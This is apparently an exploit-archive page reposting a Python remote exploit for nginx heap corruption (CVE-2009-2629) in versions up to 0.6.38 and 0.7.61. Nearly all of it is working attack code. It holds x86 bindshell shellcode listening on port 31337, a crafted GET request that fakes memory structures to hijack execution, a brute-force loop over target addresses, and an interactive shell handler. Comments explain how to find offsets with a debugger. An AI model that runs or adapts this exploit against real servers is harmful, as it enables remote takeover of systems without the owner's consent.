exploits.png

exploits, vulnerabilities, shellcode, 0day :-)

CVE-2009-2629

[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2629]

VU#180065

[http://www.kb.cert.org/vuls/id/180065]

免责声明 (Statement of exemption from responsibility)

nginx heap corruption

#!/usr/bin/env python  
#  
# Exploit Title: nginx heap corruption  
# Date: 08/26/2010  
# Author: aaron conole <apconole@yahoo.com>  
# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz  
# Version: <= 0.6.38, <= 0.7.61  
# Tested on: BT4R1 running nginx 0.6.38 locally  
# CVE: 2009-2629  
#  
# note: this was written and tested against BT4. This means it's an  
#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV  
#       also - only tested successfully against nginx 0.6.38  
#              you'll definitely need to modify against other versions  
#  
# you'll need to know where the offset is going to land, and what the pad is  
# from that point to when you've tained execution flow.  
#  
# A quick way to find out just for verification would be to launch nginx,  
# attach GDB to the worker and target it with the exploit, setting the offset  
# to 0, or some other arbitrary value. It should crash on a piece of code which  
# resembles:  
#   if (ctx->offset)  
#  
# At that point, merely dump the *r; capture the value for the data pointer  
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the  
# hex pointer value). That should give you a good area to test with. You might  
# want to use the range at that point and set the last octet to 00.  
#  
# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet  
#       found a "magic" combination that would cause the state machine to do  
#       what I want to make the bug trigger. Once I do, you can bet BUG will be  
#       replaced.  

   
import os  
import sys  
import socket  
import select  
import struct  
import time  
import urllib  

REQUEST_METHOD='GET ' 

# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)  
NULLPTR='\x00\x00\x00\x00' 

# NOTE - this shellcode was shamelessly stolen from the www  
#        port 31337 bindshell for /bin/sh  

SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80' 

   

# Why did I write this up this way? Because given enough time, I think I can  
# find a proper set of state change which can give me the same effect (ie: ../  
# appearing as the 3rd, 4th, and 5th characters) at a later date.  
# That's all controlled by the complex uri parsing bit, though.  

DOUBLE_SLASH='//../' 

BUG=DOUBLE_SLASH  
  

# taken from the metasploit pattern_create.rb  

PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4' 


def connect_socket(host,port):  

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    try:  
        sock.connect( (host, port) )  

    except:  
        return 0 

    #sock.setblocking(0)  
    return sock  

def handle_connection(sock):  

    while(1):  
        r, w, e = select.select( [sock, sys.stdin],  
                                 [],  
                                 [sock, sys.stdin] )  

        for s in r:  

            if s == sys.stdin:  
                buf = sys.stdin.readline()  

                try:  
                    if buf != '':  
                        sock.send(buf)  

                except:  
                    print "Xon close?" 
                    return 0 

            elif s == sock:  

                try:  
                    buf = sock.recv(100)  

                except:  
                    print "Xon close?" 
                    return 0 

                if buf != '':  
                    sys.stdout.write(buf)  

def main(argv):  

    argc = len(argv)  

    if argc < 4:  

        print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0])  
        print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629" 
        print "[*] host = the remote host name" 
        print "[*] port = the remote port" 
        print "[*] ctx_addr is where the context address should begin at" 
        print "[*] -b specifies a brute-force (which will start at ctx_addr" 
        sys.exit(0)  


    host = argv[1]  
    port = int(argv[2])  
    ctx_addr = int(argv[3],16)  


    brute_flag = 0 
    if(argc == 5):  
        brute_flag = 1 

    testing = 1 
    print "[*] target: %s:%d" % (host, port)  


    try:  
        sd = urllib.urlopen("http://%s:%d" % (host, port))  
        sd.close()  

    except IOError, errmsg:  

        print "[*] error: %s" % (errmsg)  
        sys.exit(1)  

    print "[*] sending exploit string to %s:%d" % (host, port)  

    while(testing):  

        CTX_ADDRESS = struct.pack('<L',ctx_addr)  
        CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60)  
        POOL_ADDRESS = struct.pack('<L',ctx_addr+56)  
        DATA_ADDRESS = struct.pack('<L',ctx_addr+86)  
        RANGE_ADDRESS = struct.pack('<L',ctx_addr+124)  
        SHELL_ADDRESS = struct.pack('<L',ctx_addr+128)  

        #PADDING  
        SHELLCODE=PATTERN[:67]  

        #the output context structure  
        SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS  

        #Magic  
        SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR  

        #this is the context object - some null ptrs, then we set range, then  
        #pool address  

        SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00' 
        SHELLCODE+=NULLPTR*2+POOL_ADDRESS  

        #this is the data buffer object  
        SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR  

   
        #this is the pool memory structure ..  
        SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR  

        # this is the range structure  
        SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3 

        SHELLCODE+=SHELL  
      
        payload = REQUEST_METHOD  
        payload += BUG  
        payload += SHELLCODE  
        payload += ' HTTP/1.0\r\n\r\n' 

   
        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        sd.connect((host, port))  
        sd.send(payload)  
        sd.close()  


        if (brute_flag):  
            nsock = connect_socket(host,31337)  

            if nsock != 0:  
                print "[*] Successful Exploit via buffer: %x" % (ctx_addr)  
                testing = 0 
                handle_connection(nsock)  

            else:  
                ctx_addr = ctx_addr + 1 

        else:  
            testing = 0 

    print "[*] FIN." 

if __name__ == "__main__":  
    main(sys.argv)  
    sys.exit(0)  

# EOF

标签: exploits